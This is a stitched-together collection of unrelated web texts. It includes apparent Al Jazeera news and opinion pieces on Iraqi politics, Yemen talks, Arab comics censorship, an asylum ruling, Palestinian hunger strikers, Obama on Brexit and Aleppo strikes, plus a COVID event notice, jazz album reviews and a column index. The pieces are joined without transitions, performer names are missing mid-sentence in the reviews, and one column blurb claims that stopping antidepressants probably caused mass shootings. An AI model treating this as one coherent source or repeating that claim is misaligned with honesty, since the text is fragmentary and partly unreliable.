The State of Palestine is a respected party in the UN and will work with our diplomatic partners to ensure effective implementation of the Paris Agreement and further enhancement of climate commitments. We want a world with a sustainable future that we can all share, as equals, in stability and peace. As a new State Party to the worlds action plan on climate change, we are eager to work towards that bright future.

Dr Riyad H Mansour is the ambassador for the Permanent Observer Mission of the State of Palestine to the United Nations.

The views expressed in this article are the authors own and do not necessarily reflect Al Jazeeras editorial policy.
Ibrahim al-Marashi is an associate professor at the Department of History, California State University, San Marcos.

As Iraqi Security Forces secure the environs of Mosul, positioning themselves to challenge ISILs grip on the city, a political impasse threatens to paralyse the Iraqi government, ultimately delaying the final military campaign against the Islamic State of Iraq and the Levant (ISIL, also known as ISIS).

As a result of renewed protests led by the Shia cleric Muqtada al-Sadr, calling for a new government that can deal with pervasive corruption at the state level, Prime Minister Haider al-Abadi had attempted and failed to get approval for a new cabinet from a recalcitrant Iraqi parliament.





The current political standoff represents the first serious attempt by a leader at the top of Iraqs political system to address a problem inherent to the new Iraqi government since 2003; the quota system that empowers politicians based solely on their ethno-sectarian background.

An Iraqi Shia nationalist

Sadr has always tried to assert himself as an Iraqi Shia nationalist, independent of Iranian influence. Iran has always tried to get the various Iraqi Shia parties to unite, with the caveat that they form a united front that augments Irans influence in Iraq.

Ultimately the deadlock has benefited Sadrs political standing.

READ MORE: Iraq  the reinvention of Muqtada al-Sadr

By fomenting a protest movement and delivering an ultimatum to Abadi, Sadr has successfully pitted his two Shia political rivals, the Dawa Party of the prime minister, and the politicians of the Islamic Supreme Council of Iraq (ISCI) in parliament, against each other, undermining Irans overarching goal of maintaining a unified Shia alliance in Iraq.

By fomenting a protest movement and delivering an ultimatum to Abadi, Sadr has successfully pitted his two Shia political rivals ... in parliament, against each other... by

In the past week, Abadi has presented a list of technocrat candidates to form a new Iraqi cabinet, ranging from new ministers of electricity, finance, oil and water.

It is in ministries such as these where the potential for corruption is the greatest, and it is corruption in these ministries that affects the public services ordinary Iraqis desperately need, such as water and electricity.

Abadi refrained from replacing the Minister of Defense and Interior, given that such a change would damage both institutions role in the current military campaign against ISIL.

None of the candidates in Abadis list came from the major political parties, but were nominated owing to their technical expertise. For example, the qualifications of Abadis nominee for Minister of Finance, Ali Allawi, include his career in finance, international banking, and in the World Bank.

Allawi is an independent, and thus is not beholden to any of the Iraqi parties. Other candidates for the cabinet had similar technocratic backgrounds.

Nonetheless, a new cabinet of technocrats threatened the power of career politicians already ensconced in cabinet positions. Those incumbent cabinet leaders rallied their fellow party members in parliament to obstruct the approval of a new cabinet, thus creating the current political deadlock.

Sadrs rise

After the Iraqi parliament failed to approve this new technocratic cabinet, a demand of Sadr, he ordered the members of parliament who belong to his Ahrar or Freeborn Faction to boycott any future sessions until this measure is reintroduced.

Sadr also called on protesters loyal to him to continue holding their sit-in outside the Green Zone, the location of Iraqs parliament and where most of Iraqs politicians reside, to pressure them to accede to his demand.

Nonetheless, Sadr has already scored a political victory, despite the Iraqi parliaments failure to accede to his ultimatum. Abadis new technocratic cabinet would have entailed the resignation of career politicians, including among Shia politicians.

For example, an ISCI party member, Adel Abdul-Mahdi, is Minister of Oil, and he was to be replaced by a Kurdish technocrat. Ammar al-Hakim, the leader of the Shia ISCI party, a rival to the Shia Dawa Party, stated: if we have a totally technocratic cabinet, then PM Abadi must be a non-partisan technocrat or PM Abadi must go.

READ MORE: Iraqs popular demobilisation

Abadi engaged in a political gamble by taking on a measure calling for all parties to relinquish their control over the ministries. ISCI called his bluff by demanding that the prime minister should then resign, given his connections to one of the entrenched parties in Iraqs political landscape, the Dawa party.

Regardless of the outcome, Sadrs ultimatum has precipitated an intra-Shia conflict among his rivals, allowing him to emerge as a grassroots Shia and Iraqi nationalist leader, who stands above the fray of partisan Shia politics.

It has also undermined Irans objectives in Iraq of ensuring Shia political unison, a policy that Sadr believed deprived him of asserting his own presence on the Iraqi political landscape.

The American legacy

The current power-sharing formula in the Iraqi government is a legacy of the US attempt to rebuild the state after 2003.

After years of instability, Iraqis seek leaders who are qualified to rebuild the nation... by

To inaugurate a break from Saddam Husseins Arab Sunni-minority rule of Iraq, a political system developed under US tutelage where after each Iraqi election the new government would be inclusive of all of the nations communities.

This notion of inclusivity led to a quasi-mathematical equation where each new Iraq cabinet allocated a proportional percentage of positions to the nations Shias, Sunnis, Kurds, and other minorities, such as Christians, Turkmens, and Yazidis.

Nowhere in the Iraqi constitution does it stipulate that the prime minister must come from the Iraqi Shia Dawa party, the president from the Kurdish Patriotic Union of Kurdistan, and another token position given to an Arab Sunni.

This proportional system affected the allocation of cabinet positions as well. This distribution of power according to sect and ethnicity since 2003 has simply evolved as a norm owing to US preference and Iranian consent.

Abadis introduction of a cabinet based on a ministers technical skills rather than his ethnic or sectarian background indicates that governing consensus over the muhasasa, or the ethnic and sectarian quota system, is breaking down.

The muhasasa system guaranteed to Iraqs Shia that they would never be ruled by an oppressive minority. However, Sadr, himself a Shia, has challenged this system, demonstrating once again that analysing Iraqs politics as a simple conflict between Arab versus Kurd, and Shia versus Sunni, is reductive at best.

As of 2016, Sadr and his followers, who include Shias and other disenfranchised Iraqis, have communicated that a politicians sect or ethnicity is not a prerequisite to administer Iraq.

After years of instability, Iraqis seek leaders who are qualified to rebuild the nation, opposed to career politicians looking to safeguard their political careers and patronage networks.

Ibrahim al-Marashi is an assistant professor at the Department of History, California State University, San Marcos. He is the co-author of Iraqs Armed Forces: An Analytical History.

The views expressed in this article are the authors own and do not necessarily reflect Al Jazeeras editorial policy.
Talks to end war based on UN resolution which calls for Houthi rebels to withdraw and hand over weapons to government.

Talks aimed at ending Yemens war have opened in Kuwait, with the Arab Gulf states top diplomat appealing to both sides to turn war into peace.

A year of conflict has left more than 6,200 people dead and caused a humanitarian crisis in Yemen.

Sheikh Sabah al-Khalid Al Sabah, Kuwaits foreign minister, in an opening speech at Bayan Palace, urged Yemenis to turn war into peace and backwardness into development.





The talks are based on UN Security Council resolution 2216 which calls for the Houthi fighters to withdraw from areas they seized since 2014 and hand heavy weapons back to the government, Ismail Ould Cheikh Ahmed, UN special envoy to Yemen, said.

The delayed peace talks  initially planned to start on Monday  began on Thursday and continued on Friday in Kuwait, with Philip Hammond, Britains foreign secretary, welcoming the UN-backed negotiations, saying that only a political solution can bring an end to the conflict.

I urge all those around the table to come together to find a way to end the conflict, address the humanitarian situation and allow the return of Yemens legitimate government, Hammond said.

The Houthis have held Yemens capital, Sanaa, since September 2014 and their advance saw a US-backed Arab military coalition launch air strikes 13 months ago.

Regional implications

Air strikes account for 60 percent of the civilians killed in the conflict, according to a January 26 UN report.

The UN has criticised coalition strikes that have hit markets, clinics and hospitals.

The war has taken on regional implications, as Sunni-ruled Saudi Arabia accuses regional Shia rival Iran of arming and training the Houthis.

READ MORE: Yemen revolution  Our dream was sold

Iran says it only provides the rebels with political support, though the US Navy says its sailors and allies have seized weapons heading for Yemen from Iran.

The Houthis themselves have tried to distance themselves from Iran as well.

Brigadier-General Ahmed Asseri, the Arab coalition spokesman, told Al Arabiya television that everybody knows that the way out in the end is political, and the issue will not end through military means, and the coalition has no desire to  prolong the situation.
Comics are meant to be cheeky and insubordinate, but in parts of the Arab world cartoonists can easily get into trouble.

A young man in Beirut travels through the puff of his cigarette smoke to the Syrian border, where a tsunami carrying refugees from the other side of the mountains rings in his ears. On his way, he comes across a child washed up on a beach, with his face to the ground. Then he encounters a Lebanese man, who claims an American conspiracy is behind the presence of Syrian refugees in Lebanon. When he returns home, he finds a mountain of rubbish on his balcony.

Joseph Kai, a 27-year-old Lebanese cartoonist, drew this story  which is both political and personal to him  for a recent issue of Samandal, a Lebanese comic book for adults.

In recent years, comic publications throughout the Arab world have provided cartoonists with a much-needed space to express themselves. Kai, who is also Samandals publication director, wrote in the issues editorial that comics are no longer just a form of expression. They can also have a political role, or even in extreme cases, they can be a tool to shape history and the map of the world.

READ MORE: The rise of the comic book in the Middle East

Created in 2007, Samandal (salamander in Arabic) has tried to bridge words and aesthetics. In the first editorial, the cofounder, Fadi Baki, explains that Samandal is an amphibian, living between the sea and the earth, in the same way that comic books are an art form that is between words and images. We want our comic to combine experimental and traditional aspects, both high culture and popular culture, said Lena Merhej, another cofounder of the comic.





In December 2009, the comics seventh edition was financed by Lebanons Ministry of Culture as part of the Beirut World Capital of Books campaign. But this issue nearly killed the publication: Three of its editors were accused by the state prosecutor of inciting religious hatred, blasphemy, publishing false information and defamation.

The censorship office within Lebanese General Security particularly found fault with Ecce Homo by Valfret, an artist who goes by a single name, and Recipes for Lebanese Revenge by Merhej. In the first story, a centurion kills a legionary with whom he had homosexual relations, and then puts the blame on Christians. In the second, Merhej illustrates the burning of a priest and an imam. For these two stories, Samandal  which accused the court of committing several legal violations  was fined $20,000 last April.

Saved by an online support campaign launched late last year, the team decided to take precautions for their 2016 edition, which will deal with the themes of youth, sexuality and poetry. So we decided to print in France first, and then to bring some copies here, in order to avoid more pesky lawsuits, Merhej told Al Jazeera.

Shennawy, who also goes by a single name, is one of the Egyptian authors frequently published in Samandal. Bolstered by the success of the publication in spite of state censorship, he was inspired to launch his own comic magazine in Cairo.

Samandal was the first completed project of its kind, and that gave us hope, Shennawy, 38, told Al Jazeera. In Egypt, we were a group of cartoonists, but with nowhere to express ourselves.

So in 2011, he created TokTok, named after the black-and-yellow rickshaws that noisily cross the rougher parts of Cairo. Two weeks later, the popular January 25 uprising began.

We were at Tahrir Square all that time, Shennawy recalled. I lived nearby, and my house became a refuge for my cartoonist friends. When Mubarak was deposed, each of us addressed the subject in the second edition of TokTok. At the time, the revolution was also visual, with graffiti and slogans. This contributed to our success.

But today, five years after the fall of Mubarak, euphoria has given way to prudence.

Under Mubaraks regime, we lived in a police state, but we had freedom of expression, said Shennawy, who is now based in Belgium. We could caricature him without fear of being arrested. Thats over now. At TokTok, we prefer to avoid direct confrontation. Sensitive topics are approached subtly.

READ MORE: Cartoon war over Russias role in Syria

Under the government of Egyptian President Abdel Fattah el-Sisi, many journalists and caricaturists have been detained, including cartoonist Islam Gawish, who was arrested in January. But government censorship is not the only obstacle facing comic artists in Egypt: There is a certain generational shock, Shennawy said. Older readers sometimes find our content too daring and inconvenient for our society. Our challenge is to raise the ceiling on freedom of expression without offending them.

The situation is quite different in Tunisia, which has abolished its censorship apparatus since the uprising that toppled former President Zine El Abidine Ben Ali in 2011. Lab619, a Tunisian comic cofounded in 2012 by Shennawy, won an award at last years Cairo Comix festival for best comic magazine.

Lab619 illustrator Abir Gasmi said the comics approach was closely linked to the countrys current affairs. After the assassination of Tunisian politician Chokri Belaid, for example, all of the authors dealt with the matter, sometimes in a direct and radical way, Gasmi said.

With each new edition, we remind the authors that they must be as free as possible in their work.
Top court rules against deportation of Afghan asylum seeker to Hungary in the light of asylum violations in the country.

Finlands highest administrative court has ruled against the deportation of an Afghan asylum seeker to Hungary as there is a risk of inhuman and degrading treatment in the European Union member state which is widely criticised for its policies against refugees.

The Finnish Immigration Service, the body that overlooks the asylum seeking process, suspended the return of the applicant to Hungary hours after the Supreme Administrative Court ruling was announced on Wednesday.

It is not possible to reliably ensure that returning an asylum seeker to Hungary would not violate  [international treaties], which prohibit, among others, inhuman and degrading treatment, the court said in its judgment.

IN PICTURES: Refugees attempt perilous Greece-Macedonia crossing

The courts verdict said the Finnish Immigration Services decision in 2014 not to look into the Afghan mans application and deport him to Hungary was a breach of his rights.

The Finnish Immigration Service sent the man to Hungary on the grounds that he first sought international protection there  in line with a key EU law on the issue.

The ruling said there was a possibility that Hungarian authorities might send the refugee to Serbia, which he had entered Hungary from, without properly evaluating his application.

In July 2015, the Hungarian government declared a list of safe third countries, which included Serbia as well as other Balkan countries. No other EU member state see Serbia, which is not a member state, as a safe third country.

The court also cited various problems with Hungarys asylum seeking process, referring to common unfair evaluations, lack of legal assistance and large stockpiles of applications.

Call for further action

Amnesty International, which campaigned against returning of asylum seekers to Hungary, welcomed the verdict and called for further action against the breaches in the country.

We urge all EU member states to refrain from sending refugees to Hungary as they would face systemic failures in asylum procedures and the reception conditions as well as the risk of refoulement to Serbia, Susanna Mehtonen, legal adviser at Amnesty International Finland, told Al Jazeera.





Following the ruling, we expect asylum seekers coming from Hungary to take their individual examination here in Finland, as they cannot be sent there.

The Afghan asylum seeker, who won the case, is expected to get the same procedures as any Afghan who arrived in Finland, regardless of the fact that he first sought asylum in Hungary.

The EUs Dublin Regulation on asylum seeking process says if a person applies for asylum in an EU member state, he or she cannot seek asylum in another.

However, the Finnish court ruled in favour of the Afghan man despite the rule as a result of the breaches of asylum seeker rights in Hungary.

Erno Simon, public information officer of the UNHCR Central Europe, told Al Jazeera that Hungarian asylum system is far from functioning perfectly and the organisation does not see Serbia as a safe country for refugees.

Last June, Hungary, trying to cope with huge flow of refugees to its borders, briefly suspended the EU law on the procedures of processing of asylum claims.

The government reversed its decision the next day because of the European Commission threat of taking action against the EU member state as the Dublin Regulation did not foresee such a suspension.

Wire fence

In September, Hungary sealed off its border with Serbia with a razor-wire fence, blocking access to its territory for thousands of refugees.

Legal amendments that came into force on the same day criminalised illegal entry, punishable by up to three years custodial sentence, and introduced transit zones where an accelerated asylum procedure is applied to the few asylum seekers they admit each day.

IN PICTURES: Refugees attempt perilous Greece-Macedonia crossing

Hundreds of people are detained through this rule, but nobody was sentenced. And Serbia does not take them back, Simon told Al Jazeera.

When they get out of detention, they are either put into open facilities  where they can get in and out freely  or detention facilities, where they cannot get out. In either case, conditions are not good. Hungarian measures are against our point of views and basic values respected by UNHCR.

In March, the Swedish Migration Court also decided to suspend the transfer of all asylum seekers to Hungary under the Dublin Regulation in response to the complaints over the countrys policies.

Follow Umut Uras on Twitter: @Um_Uras
Health of Palestinian Sami Janazrah, on hunger strike for 51 days, plummets as tensions rise in several prisons.

Anger is building up among Palestinians held in Israeli prisons, with several inmates on long-running hunger strikes in a number of prisons and clashes erupting in the Nafha jail in southern Israel.

Rights groups have warned that the health of a hunger-striking jailed Palestinian has plummeted as his fast hits 51 days.

Sami Janazrah, 43, launched his hunger strike on March 3 to protest against being held in solitary confinement and administrative detention, a practice in which Israel jails Palestinians on secret evidence without charges or trial.

Janazrah, who is a married father of three from the al-Fuwwar refugee camp in Hebron, is reportedly suffering from low blood pressure and arrhythmia, causing seizures and fainting spells. Meanwhile, his weight has sunk to 52 kilogrammes.

People and Power  Boycott Israel

He is one of several prisoners refusing food behind bars. Among them are also Fouad Assi and Adib Mafarjah, both of whom have been on hunger strike for 20 days.

This could cause a lot of noise because [they] dont appear to be willing to give up the strike, said Farah Bayadsi, a lawyer at the prisoner rights group Addameer.

Of the estimated 7,000 Palestinians in Israeli lockup at the moment, at least 700 are being held as administrative detainees, according to Addameer.

Recently there have been far more administrative detention orders, Bayadsi told Al Jazeera. For the [Israeli] occupation, this has become the easiest way to lock up Palestinians.

A spokesperson for Israel Prison Services did not reply to Al Jazeeras requests for a comment.

Anger has spread throughout the prisoner population as tensions continue to soar over the treatment of Palestinians in Nafha, a prison in southern Israel.

Clashes erupted there between guards and prisoners on Wednesday during security checks in the facilitys Section 4, where most prisoners are affiliated with the Hamas and Islamic Jihad political parties.

The guards are accused of firing tear gas and beating handcuffed prisoners.

During the last few days there have been many attacks on Palestinian prisoners in Nafha, Bayadsi said. What happened in Nafha is very dangerous. The situation is very bad right now.

The accusations come a week after similar charges were levelled at Israeli prison guards in Nafha following heavy clashes that left around 60 prisoners injured, according to the Palestinian Committee of Prisoners Affairs.

The prisoners branch of the Popular Front for the Liberation of Palestine, a leftist political party, released a statement on Wednesday calling for massive popular anger against the occupations attacks on prisoners in Nafha.

These days of anger come in support of the prisoners struggling to confront the attacks by the Zionist prison administration and to support the prisoners in Nafha prison facing violent attack[s].

READ MORE: Palestinian hunger strikes  My husband is dying

On Sunday, thousands protested across the occupied West Bank, including East Jerusalem, and in the Gaza Strip on Palestinian Prisoners Day.

That same day, thousands of detainees in several prisons conducted a one-day hunger strike in solidarity with Palestinians held in Nafha.

Always an Intifada

The number of Palestinians behind Israeli bars has soared since October, when tensions between Israelis and Palestinians boiled over into violence.

Since October 1, Israeli forces and settlers have killed at least 208 Palestinians, including alleged attackers and protesters, according to the Palestinian health ministry.

During that period, Palestinian attackers have killed at least 29 Israelis in shooting, stabbing and car-ramming incidents, according to Israels Ministry of Foreign Affairs.

Alaa Tartir, analyst and programme director at Al-Shabaka: The Palestinian Policy Network, explained that hunger strikes and other acts of non-compliance by prisoners have grown increasingly important against the backdrop of the current unrest.

Although the current political leadership is letting the prisoners down and leaving them on their own, the centrality of the prisoners plight is always significant in the popular and public conscience and this is what empowers them in their struggle, he told Al Jazeera.

Referring to the soaring tensions inside Israeli prisons, Addameers Bayadsi said: There is always an Intifada [uprising] inside the prisons. They have nothing to do but resist by hunger striking or similar means.

Follow Patrick Strickland on Twitter: @P_Strickland_
US leader urges voters not to back exit from EU in referendum, saying it would hurt countrys trade with US.

US President Barack Obama has warned British voters that the UK would find itself at the back of the queue for a trade deal with the US if they vote against staying in the European Union in the June 23 referendum.

British proponents of a so-called Brexit said they were outraged that an American president appeared to be trying to influence the outcome of such a crucial vote.

Obama said on Friday during his three-day visit to London that the UKs influence on the world stage was magnified by its membership of the 28-member bloc.

I think this makes you guys bigger players, he said at a joint news conference with David Cameron, the British prime minister.





Its fair to say that maybe some point down the line there might be a UK-US trade agreement but thats not going to happen anytime soon because our focus is negotiating with a big bloc, the European Union, to get a trade agreement done.

In an op-ed published by The Telegraph shortly after his arrival in the British capital on Thursday, Obama said that the UK should be proud that the EU has helped spread British values and practices  democracy, the rule of law, open markets  across the continent and to its periphery.

In his article, Obama argued that the UK had benefited from being inside the EU in terms of jobs, trade, financial growth and security.

This kind of cooperation  from intelligence-sharing and counterterrorism to forging agreements to create jobs and economic growth  will be far more effective if it extends across Europe. Now is a time for friends and allies to stick together, he wrote.

Obama and his wife Michelle congratulated Queen Elizabeth, who celebrated her 90th birthday on Thursday, before he proceeded to Downing Street for talks with Cameron.

Double standards claim

Obamas intervention before the forthcoming EU referendum on June 23 was welcomed by supporters of the Remain campaign, but those who want to leave the EU accused him of hypocrisy.

Iain Duncan Smith, a Tory MP who campaigns for the UK to leave the EU, accused Obama of double standards.

He is asking the British people to accept a situation that he patently would not recommend to the American population, he said.

I can imagine no circumstances under which he would lobby for the US Supreme Court to be bound by the judgments of a foreign court.

OPINION: Brexit and the failure of the European Union project

Boris Johnson, London mayor and Brexit campaigner, also criticised Obamas involvement in the debate.

Writing in The Sun, he claimed that Obamas view was a breathtaking example of the principle do-as-I-say-but-not-as-I-do.

However, in his article headlined As your friend, let me say that the EU makes Britain even greater, Obama acknowledged that ultimately, the question of whether or not the UK remains a part of the EU is a matter for British voters to decide for yourselves.

But he also said:  the outcome of your decision is a matter of deep interest to the United States.

Dinners with the royals

German Chancellor Angel Merkel, French President Francois Hollande and several Commonwealth leaders have already spoken out against Brexit.

During his state visit last year, Chinas President Xi Jinping also said China wanted Britain to remain in the EU.

During his official visit to the UK, Obama had lunch with Queen Elizabeth in Windsor Castle.

He also had dinner with the Duke and Duchess of Cambridge.
At least 20 people reportedly killed in Aleppo bombardment during Friday prayers.

Air strikes launched by the Syrian government have killed several civilians and injured dozens in the northern city of Aleppo as the ceasefire between the government and opposition groups crumbles.

At least 20 people were killed across Aleppo and several dozen injured in the attacks, according to sources on the ground.

The strikes targeted four different, predominantly civilian areas in the city, said Zouhir Al Shimale, a local journalist.

These are all civilian areas, and people were near or at the mosques when the strikes hit, he told Al Jazeera by telephone, estimating that at least 30 civilians were injured in the Bustan al-Qasr area alone.

The bombardment happened during the Friday prayers. I was on the way prayers when it happened in the al-Mashhad [neighbourhood]. People started going out of the mosque and running.

READ MORE: Death and destruction as Syria ceasefire buckles

Shimale said Aleppos streets mostly emptied following the attacks, with people rushing home to avoid being in open spaces.

People have gotten used to it. They know that at any moment, the regime could strike again.

According to the UK-based Syrian Observatory for Human Rights, government air strikes also targeted towns across Syrias Idlib province, killing at least three civilians.

Elsewhere in Syria, the Islamic State of Iraq and the Levant (ISIL, also known as ISIS) group claimed to have downed a plane of the government forces in the countryside of Damascus and captured its pilot.

However, citing a Syrian military source, Russian news agency Interfax said the plane, a Mig-23, belonged to the Syrian Air Force and crashed because of a technical fault.

The plane had recently undergone repairs  there was no attack from the ground. It crashed because of a technical fault. The pilot ejected, Interfax quoted the source as saying.



Syrian gym offers respite from fighting

The Syrian conflict started as a largely unarmed uprising against Syrian President Bashar al-Assad in March 2011, but has since morphed into a full-on civil war that has claimed the lives of more than 260,000 people, according to the UN statistics.

The opposition cited the dire humanitarian situation and the Syrian army offensive when it walked out of peace talks in Geneva this week, saying it needed a pause. The future of Assad also proved a major sticking point.

The already shaky ceasefire between the government and some rebels was severely strained on Tuesday when at least 44 people were killed in air strikes on two markets in the northwest.

The Geneva talks are aimed at ending the five-year war by fashioning a political transition, writing a new constitution, and holding fresh elections by September 2017.
PLEASE NOTE!

Due to the March 23, 2020 NM DOH Public Health Order, These Event Listings Are Not Accurate!

All non-essential businesses are closed, public gatherings are prohibited!

(One day some of these events will be rescheduled or will resume, but they are not happening now!)
Dr Marc Lamont Hill is an award-winning journalist and author and is the Steve Charles Professor of Media, Cities, and Solutions at Temple University. Hill is known for his work addressing the intersections of race, justice, politics and culture. His latest best-selling book is We Still Here: Pandemics, Policing, Protest and Possibility which follows on the success of Nobody: Casualties of Americas War on the Vulnerable from Flint to Ferguson. Hill has received numerous prestigious awards from the US National Association of Black Journalists, GLAAD, and the International Academy of Digital Arts and Sciences.
The third release by's New Zion Trio expands the concepts he launched with his previous efforts, Fight Against Babylon (Veal Records, 2011), and Chaliwa (Veal Records, 2013). His reggae/dub-meets-piano trio explorations expand with the inclusion of Brazilian percussionist. This rhythm trance music casts a much larger net, one of universal spirituality, beyond physical matter and the laws of nature.Without getting all theological on you, the fugue state of roots reggae and dub tap into a universal consciousness and Saft has heightened the hypnotic effect with the inclusion of Baptista. The pair have collaborated on many projects, from's The Big Gundown (Nonesuch, 1986) to Electric Masada -At The Mountains Of Madness (Tzadik, 2005).Here, Baptista brings his plethora of percussive instruments (traditional and hand-made) to the reggae drumming of Craig Santiago, the acoustic bass of Brad Jones, and Saft's keyboards, guitars, and heavy electric bass. Credit also must go to Saft's co-producer Christian Castagno, who adds delays, reverb, modulation, saturation, and compression devices to the sound to give us that true dub sound. The stuff of King Tubby and Lee "Scratch" Perry."BrazilJah" echoes with a profound and deep-seated groove and is infused with the vocalizations of Baptista. He augments his bells, bird calls, bongos, triangle, found art, etc., sometimes with a chant, sometimes with something sung/spoken (in Portuguese). The music mixes heavy grooves on "Ranking" with Baptista's Jew's harp. Pastoral acoustic piano and bass are mixed with nimble percussive triangle on "Lamb's Bread," and the full integration of dub with Brazil on the electric "Samba Jahmekya." Vanessa Saft adds island vocals to "Sunshine Seas," which could easily be theme music for any or all warm weather vacations. What dub has always needed is improvising artists like Saft and Baptista. Certainly improvised music benefits here from this reggae/dub/Brazilian connection.
It is no secret that Canada is the home of some of the finest jazz musicins in the world and Toronto-based saxophonist Kirk MacDonald, a long-time active educator, is one of those established stars and veteran of the Canadian jazz scene. He has appeared on over fifty albums as both a sideman and leader and Symmetry, his eleventh album as leader, which had been previously unveiled in Canada only, is now available in the U.S. and internationally for audiences everywhere to savor.After leading the Kirk MacDonald Jazz Orchestra in recording two big band albums, the saxophonist returns to a quintet format for this date convening an A-list cast of players all leaders in their own right. Trumpet mastershares the front line supported by MacDonald's long-time friend and band mate, pianistwith renowned bassistand drummer extraordinairerounding out a superb rhythm section.Offering ten exciting and clever compositions, the music on this album is designed to please everyone from the casual listener to the avid aficionado. The title track starts the program with the saxophonist, trumpeter and pianist delivering standout phrases in an arrangement that presents the balance and harmonies the leader sets out to produce birthed in the concept of "symmetry." There are no fillers on this recording as every track can be considered a "keeper" worthy of repeated spins.The tunes "Eleven," "Common Ground," and "Mackrel's Groove," follows the opening statement with each presenting engaging and propulsive statements of their own. As the title of the piece implies, "Brazil Like" provides a delicious taste of the Brazilian flair with the pianist and saxophonist marking the tune with solid solos. Other notable tracks include "Greenwich Time" and "Contemplation" with the finale "Bop Zone," closing out the session in sizzling boppish fashion marked by several torrid solo moments from the leader.Boasting a superb cast of players and a selection of sensational tunes, Kirk MacDonald's Symmetry captures an arrangement of harmonies and grooves that make albums like this, a pleasure to hear often.
           2005     ..        




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THE BRIDGE WOMAN by Joyce Marcel DUMMERSTON, Vt. - Out there in America - yes, still - is a generation of women who were born in the 1940s, raised in the 1950s, and who came to radical consciousness in the late 1960s and early 1970s. I am one of them. Hillary Clinton is one of them. [MORE] On Native Ground

OBAMA AND MY GENERATION by Randolph T. Holhut DUMMERSTON, Vt. -- I originally planned on voting for Dennis Kucinich in the Vermont Primary on March 4. [MORE] The Willies:

WARNING: THIS MEDICATION MAY MURDER YOUR FRIENDS by Joe Shea BRADENTON, Fla. -- You've heard the warnings, haven't you? Stop Prozac and you may take a shotgun, an Uzi or an AK-47 and mow down your family and friends, or even a whole classroom full of your fellow students. You didn't? Well, that warning is not on the bottle, but like countless mass-murder incidents before it, Friday's shootings at Northern Illinois University, as well as the Virginia Tech shootings that killed 32 last year, was probably precipitated by the effect of stopping medications that suppress anger and other powerful emotions but do not relieve the underlying cause. Isn't it time we started warning people - or stopped prescribing these medicines? [MORE] One Woman's World

DON'T KNOCK ON MY DOOR by Elizabeth T. Andrews CARTERSVILLE, Ga. -- I wish I could feel delight in my poet's mansion being like Grand Central Station all the time, but I can't. And I wish my place was such a place that someone would one day write: "Her door was always open and she always made you feel all fuzzy and warm in her presence. She could make a cup of coffee seem like a banquet." [MORE] Reporting: Panama

PANAMA'S VIOLENT LABOR UNREST INTENSIFIES Mark Scheinbaum PANAMA CITY, Panama, Feb, 15, 2008 -- After just one day of relative calm, wildcat construction strikes by some members of Panama's largest union flared up again Friday morning, four days after a police sniper shot one worker. More than 140 demonstrators have been injured and at least 500 arrested, authorities say. [MORE] Brasch Words

TO STIMULATE ECONOMY, BUY A CHINESE-MADE U.S. FLAG by Walter Brasch BLOOMSBURG, Pa. -- Walking down Main Street, pushing a grocery cart loaded with clothes, toys, and appliances was Marshbaum. Fastened to the right front corner of the cart was an American flag tied onto a three-foot ruler. [MORE] Make My Day

THE TOOTH, AND NOTHING BUT THE TOOTH by Erik Deckers INDIANAPOLIS, Ind. -- To commemorate the death of noted shark exploder Roy Scheider, and the "Jaws" movies that resulted in Erik never setting foot in the ocean again, we are reprinting this column from 2003. Shark Experts 0, Sharks 1 [MORE] Momentum

THE WINTER OF MY DISCONTENT by Joyce Marcel DUMMERSTON, Vt. - As I write this, it's raining ice. Maybe a half a foot of snow and ice has already landed up here in the woods of Dummerston. Our cars are encased in it, and the door to the house is blocked. The satellite dish that brings in our Internet service quit about 20 minutes ago - frozen solid. [MORE] The Willies

AMERICA TO HILLARY: GET OUT! by Joe Shea BRADENTON, Fla., Feb. 13, 2008 -- Sen. Hillary Clinton has adopted the Rudy Giuliani strategy, and it's working - for Sen. Barack Obama. It turns out to be the strategy all Democrats are seeking - an exit strategy. But it's not for Iraq. It's for her exit from the race for the 2008 Democratic Presidential nomination. [MORE] Constance

CONFESSIONS OF A DISAPPOINTED VOTER by Constance Daley ST. SIMONS ISLAND, Ga. -- A week ago at just about this time, I completed an article and was about to submit it as scheduled to The American Reporter. I was feeling rather elated, ready to show up on Super Tuesday morning, firmly touch the X next to Rudy Giuliani's name and get on with my day. He was my choice; he would get my vote. [MORE] Reporting: Florida

SIERRA CLUB SET TO SUSPEND FLA. CHAPTER by Joe Shea BRADENTON, Fla., Feb. 10, 2008 -- The national Sierra Club is set to suspend its Florida chapter after years of divisive infighting, the president of the national club told Florida members in a letter delivered to some this weekend. It is the first time in its 116-year history that such a step has been considered by the club, according to news reports. [MORE] One Woman's World

PLANT A NEW WORLD THIS SPRING by Elizabeth T. Andrews CARTERSVILLE, Ga. -- For a little while, the men will just have to toss and turn in their fear-free-women beds. For a small space of time Hillary Clinton will just have to trudge on toward the White House without my faint applause in the background. [MORE] On Native Ground

VERMONT AND THE 5 STAGES OF CONSERVATIVE GRIEF by Randolph T. Holhut DUMMERSTON, Vt. -- First, Vermont tried to convince the nation to impeach President Bush and Vice President Cheney. [MORE] Make My Day

REBEL WITHOUT A TONGUE by Erik Deckers INDIANAPOLIS, Ind. -- Kids' brains work in amazing ways. At times, they can grasp complex concepts and make impressive discoveries. Other times, you have to wonder how we ever survived as a species. [MORE] The Willies

FOR DEMOCRATS, NOW IT'S ABOUT RACE, INCOME AND GENDER by Joe Shea BRADENTON, Feb. 6, 2008 -- It's not a good time to be a Democrat. As the Super Tuesday results demonstrated, the presidential race between Sens. Barack Obama and Hillary Clinton has divided the partly along clear racial, income and gender lines - the very distinctions the party has sought to erase in principle but has emphasized in its pursuit of diversity. [MORE] Momentum

SUPER TUESDAY BLUES by Joyce Marcel DUMMERSTON, Vt. -- Super Tuesday has come and gone and I still can't get excited about the upcoming presidential elections. [MORE] The Willies

ON THE BRINK OF HISTORY, YOUR PUSH IS NEEDED by Joe Shea BRADENTON, Fla., Feb. 5. 2008 -- I'm expecting a sea change tonight. I believe that for the first time in this nation's history we will once and forever banish racism as the deciding factor in the destiny of African-Americans, and indeed adopt diversity as our path to the future. [MORE] Campaign 2008

AT 88, EVERY VOTE REALLY COUNTS by Ted Manna DENVER, Feb. 5, 2008 -- Pearl Turner will caucus for Mitt Romney tonight in Denver. [MORE] One Woman's World

STAND BY YOUR WOMAN by Elizabeth T. Andrews CARTERSVILLE, Ga. -- The black vote. The gay vote. The fundamentalist vote. The Hispanic vote. [MORE] An AR Special

